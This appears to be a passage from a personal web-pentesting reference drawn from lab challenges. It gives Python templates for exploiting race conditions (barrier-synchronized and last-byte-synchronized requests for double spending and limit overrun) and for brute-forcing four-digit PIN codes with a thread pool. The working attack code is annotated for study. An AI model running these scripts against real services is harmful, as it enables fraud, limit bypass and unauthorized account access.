Concurrency
Concurrent request execution for race conditions and finite-keyspace brute force.
Race condition — threading.Barrier before the request
A race condition exists when an operation’s result depends on the order in which concurrent requests reach shared state. A common pattern is TOCTOU, or time-of-check to time-of-use: the application checks a balance, limit, or token first and updates it later. Several requests can all pass the check before the first update becomes visible.
A thread is one independently scheduled path of execution inside the Python process. threading.Barrier(N) accepts the required number of participating threads. Each call to barrier.wait() pauses its current thread; the barrier releases them only after all N calls have arrived.
Placing the barrier immediately before requests.post() starts the high-level request calls together. Each call still performs connection acquisition, request serialization, and transmission after release, so their arrival times may differ slightly. This pattern is normally sufficient for a wider TOCTOU window.
import requests
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
THREADS = 20
barrier = threading.Barrier(THREADS)
def fire(cookie):
barrier.wait()
r = requests.post(URL, data={"buy": 1}, cookies={"PHPSESSID": cookie}, verify=False, timeout=5)
return r
with ThreadPoolExecutor(max_workers=THREADS) as ex:
futures = []
for cookie in cookies:
future = ex.submit(fire, cookie)
futures.append(future)
results = []
for future in as_completed(futures):
result = future.result()
results.append(result)Find by: race condition, toctou, barrier, threading, concurrent, parallel requests, limit overrun, gift card, double spend, synchronize, fire together · Source: CWEE/Gift Card
Race condition — last-byte synchronization with http.client
A narrow TOCTOU window requires tighter control over when each request becomes complete. Each worker opens a separate TCP connection, sends the HTTP request line, headers, and all but the final body byte, then waits at the shared barrier.
The Content-Length header states how many body bytes belong to the request. After receiving fewer bytes, the HTTP message body remains incomplete. This technique applies when the target server or framework waits for the complete body before the vulnerable application operation begins; a stack that streams partial request bodies into application code can behave differently.
connection 1 -> headers + body[:-1] -> waiting for 1 byte
connection 2 -> headers + body[:-1] -> waiting for 1 byte
connection 3 -> headers + body[:-1] -> waiting for 1 byte
|
barrier.wait()
|
connection 1 -> body[-1:] ------------+
connection 2 -> body[-1:] ------------+-> complete requests
connection 3 -> body[-1:] ------------+Releasing the barrier sends only one remaining byte on every prepared connection. Connection setup, headers, and almost the complete body are therefore removed from the timed portion of the race. The synchronization point becomes completion of the HTTP messages rather than invocation of the Python request functions.
The barrier itself is unchanged. The ordinary pattern synchronizes the start of each high-level request; this pattern moves the same barrier to the final byte of each low-level request. It is also not HTTP pipelining: every connection carries one request, while pipelining places multiple requests sequentially on the same connection.
import http.client
import json
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
ENDPOINT = "/<ENDPOINT>"
COOKIE_NAME = "<COOKIE_NAME>"
THREADS = 40
barrier = threading.Barrier(THREADS)
def fire(cookie):
data = {
"<FIELD>": "<VALUE>"
}
# convert the JSON body to bytes so Content-Length matches the transmitted body
payload = json.dumps(data).encode()
# get only the host and optional port from the root target URL
host = URL.split("://")[1]
# create one HTTP connection for this worker
connection = http.client.HTTPConnection(host, timeout=10)
# open the TCP connection before reaching the barrier
connection.connect()
# stage the request line and headers
connection.putrequest("POST", ENDPOINT)
connection.putheader("Content-Type", "application/json")
connection.putheader("Content-Length", str(len(payload)))
connection.putheader("Cookie", f"{COOKIE_NAME}={cookie}")
connection.endheaders()
# send all but the final body byte; the server waits for the advertised length
connection.send(payload[:-1])
# hold this worker after its connection and body prefix are already staged
barrier.wait()
# complete every staged request by releasing only the final byte
connection.send(payload[-1:])
r = connection.getresponse()
response_text = r.read().decode()
connection.close()
return response_text
cookie = "<SESSION_COOKIE_VALUE>"
with ThreadPoolExecutor(max_workers=THREADS) as ex:
futures = []
for i in range(THREADS):
future = ex.submit(fire, cookie)
futures.append(future)
success_count = 0
for future in as_completed(futures):
response_text = future.result()
if "<SUCCESS_MARKER>" in response_text:
success_count += 1
print(f"[+] Successful requests: {success_count}")An HTTPS target uses http.client.HTTPSConnection in place of http.client.HTTPConnection. The target must accept an HTTP/1.1 request with a non-empty, fixed-length body; payload[:-1] stages the body and payload[-1:] completes it.
Find by: race condition, last byte synchronization, last byte sync, http client, http.client, content length, incomplete request body, narrow toctou, simultaneous requests, parallel connections, barrier, coupon race, double spend · Source: HTB/DiogenesRage
ThreadPoolExecutor finite-keyspace brute force
A finite keyspace contains a known number of possible candidates, such as every four-digit code from 0000 through 9999. ThreadPoolExecutor(max_workers=THREADS) creates a pool containing at most THREADS worker threads and reuses those threads across the submitted requests.
submit() schedules one function call and returns a Future. A Future is a placeholder object representing a result that may still be running or waiting in the queue. as_completed() yields each Future when its call finishes, so a successful result can be handled without waiting for earlier, slower submissions.
from concurrent.futures import ThreadPoolExecutor, as_completed
THREADS = 40
WIDTH = 4
def try_candidate(s, candidate):
data = {
"<CANDIDATE_FIELD>": candidate
}
r = s.post(url=f"{URL}/<ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
success = r.status_code == 200 and "<SUCCESS_MARKER>" in r.text
result = success, candidate
return result
with ThreadPoolExecutor(max_workers=THREADS) as ex:
futures = []
for number in range(10000):
candidate = str(number).zfill(WIDTH)
future = ex.submit(try_candidate, s, candidate)
futures.append(future)
found_candidate = None
for future in as_completed(futures):
success, candidate = future.result()
if success:
found_candidate = candidate
for pending_future in futures:
pending_future.cancel()
break
if found_candidate is not None:
print(f"[+] Candidate found: {found_candidate}")
else:
print("[-] Candidate not found")str(number).zfill(WIDTH) produces fixed-width values such as 0000 through 9999. After the first successful candidate, cancel() prevents queued calls that have not started from running. Calls already executing in worker threads finish normally.
Find by: threadpoolexecutor, brute force, bruteforce, finite keyspace, pin, access code, fixed width, zfill, as_completed, first success, cancel pending futures, worker pool · Source: HTB/DarkRunes